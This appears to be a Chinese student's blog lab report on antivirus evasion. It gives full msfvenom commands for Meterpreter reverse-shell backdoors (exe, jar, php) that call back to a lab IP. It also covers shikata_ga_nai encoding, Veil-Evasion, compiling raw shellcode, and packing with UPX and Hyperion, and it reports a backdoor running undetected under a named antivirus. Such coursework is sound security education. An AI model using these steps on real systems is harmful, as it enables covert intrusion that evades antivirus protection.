Exp3 免杀原理与实践

 

1实验要求

1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)

1.2 通过组合应用各种技术实现恶意代码免杀(0.5分) (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

2实验步骤

检测工具:

https://www.virustotal.com/

http://www.virscan.org/

首先使用VirusTotal或Virscan这两个网站对上次实验生成的后门程序进行扫描。

virustotal

 

virscan

 

 

2.1任务一

2.1.1正确使用msf编码器,生成exe文件

使用msf编码器对后门程序进行一次到多次的编码,并进行检测。

一次编码命令: mfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.183.130 LPORT=4308 -f exe > met-encoded.exe

利用之前实验所学,将生成的met-encoded.exe传到windows中的ncat文件中再进行检测。

利用virustotal扫描

十次编码命令: mfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.183.130 LPORT=4308 -f exe > met-encoded10.exe

利用virustotal扫描

 

2.1.2 msfvenom生成jar文件

成java后门程序使用命令: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.183.130 LPORT=4308 x> 4308_backdoor_java.jar

利用virustotal扫描

2.1.3 msfvenom生成php文件

生成php后门程序使用命令: msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.183.130LPORT=4308 x> 4308_backdoor.php

利用virustotal扫描

 

2.1.4 使用veil-evasion生成后门程序及检测

由于我安装了一天多都没能成功,于是向同学拷了他们的kali进行实验。

输入命令veil

输入use evasion命令进入Evil-Evasion

输入命令use c/meterpreter/rev_tcp.py进入配置界面

设置反弹连接IP:set LHOST 192.168.183.130 设置端口:set LPORT 4308

再输入options进行展示修改结果

输入generate生成文件

输入payload的名字:veil_c_4308

按enter继续

利用virustotal扫描

 

2.1.5 半手工注入Shellcode并执行

首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.183.130 LPORT=4308 -f c用c语言生成一段shellcode

把上面的数组拿来编写一个程序,用vi 4308_shellcode.c命令新建一个c文件,将生成的shellcode粘贴到其中,并在之后添加主函数

 

进入编辑器进行编辑

再用i686-w64-mingw32-g++ 4308_shellcode.c -o 4308_shellcode.exe命令生成可执行文件

利用virustotal扫描

利用virscan扫描

实现与杀软共存

 

 

生成shellcode半手工打造,而不是通过msfvenom指令生成一个可执行文件,风险已经降低了不少,但是仍被定性为病毒文件,所以需要进一步考虑修改代码。

2.1.6 加壳

加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。

加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。

加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。

这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。 MSF的编码器使用类似方法,对shellcode进行再编码。

从技术上分壳分为:

压缩壳

减少应用体积,如ASPack,UPX

加密壳

版权保护,反跟踪。如ASProtect,Armadillo

虚拟机

通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect,Themida

2.1.6.1 压缩壳UPX

Kali下输入命令upx 4308_shellcode.exe -o 4308_shellcode_upxed.exe

扫描结果

2.1.6.2加密壳Hyperion

进入目录/usr/share/windows-binaries/hyperion/中;输入命令wine hyperion.exe -v 4308_shellcode_upxed.exe 4308_shellcode_upxed_Hyperion.exe进行加壳

再传出来进行扫描检测

 

2.2通过组合应用各种技术实现恶意代码免杀

如任务一中的5与6组合之后,既Shellcode与加壳,组合之后进行反弹连接,并实现了与杀软共存

在windows中点击执行

 实现与杀软共存

 

 

 

2.3用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

用c+shellcode实现了在对方的电脑上进行免杀,为了让两个电脑相连,需要将kali的连网模式改成桥接状态,并实现回连成功

杀软名称:腾讯电脑管家 杀软版本:13.3.20237.212

 

 

 

3基础问题回答

3.1杀软是如何检测出恶意代码的?

基于特征码的检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。

启发式恶意软件检测:启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。

基于行为的恶意软件检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。

3.2免杀是做什么?

免杀就是让安插的后门不被AV(Anti-virus)软件发现。一般是对恶意软件做处理,让它不被杀毒软件所检测。免杀也是渗透测试中需要使用到的技术。

3.3免杀的基本方法有哪些?

改变特征码
如果你手里只有EXE

加壳:压缩壳 加密壳

有shellcode(像Meterpreter)

用encode进行编码 基于payload重新编译生成可执行文件

有源代码

用其他语言进行重写再编译(veil-evasion)

改变行为
通讯方式

尽量使用反弹式连接 使用隧道技术 加密通讯数据

操作模式

基于内存操作 减少对系统的修改 加入混淆作用的正常功能

非常规方法

使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中 使用社工类攻击,诱骗目标关闭AV软件 纯手工打造一个恶意软件

3.4开启杀软能绝对防止电脑中恶意代码吗?

由本次实验可以看出这个问题的答案是否定的,实验过程中生成的后门,利用两个扫描工具都可以检测出是个危险的木马,但是在电脑开启杀软的情况下仍然能够躲过杀软的检测,正常运行,说明开启杀软并不能够保证电脑中就不存在恶意代码。

4实验遇到的问题

在做实验的前半部分时,对于生成后门的传输,我都是通过与windows共享文件的方式进行传输的,导致在进行回连的时候结果失败,检测找寻问题之后发现原来与文件传输的方式有关,于是改成运用命令传输,重新做了一遍,才解决这个问题。

5实验心得

在做本次实验的时候,最大感悟就是原来杀软并不能够保证我们电脑的安全,很多后门只要稍微掩饰一下就可以直接顺利通过杀软的扫描,因此维护电脑安全的任务就更加严峻了,希望今后的杀软可以更加更新自己的特征库,保护用户的电脑安全。

 

posted @ 2019-03-30 21:01  豆豆龙不长痘痘  阅读(255)  评论(0编辑  收藏  举报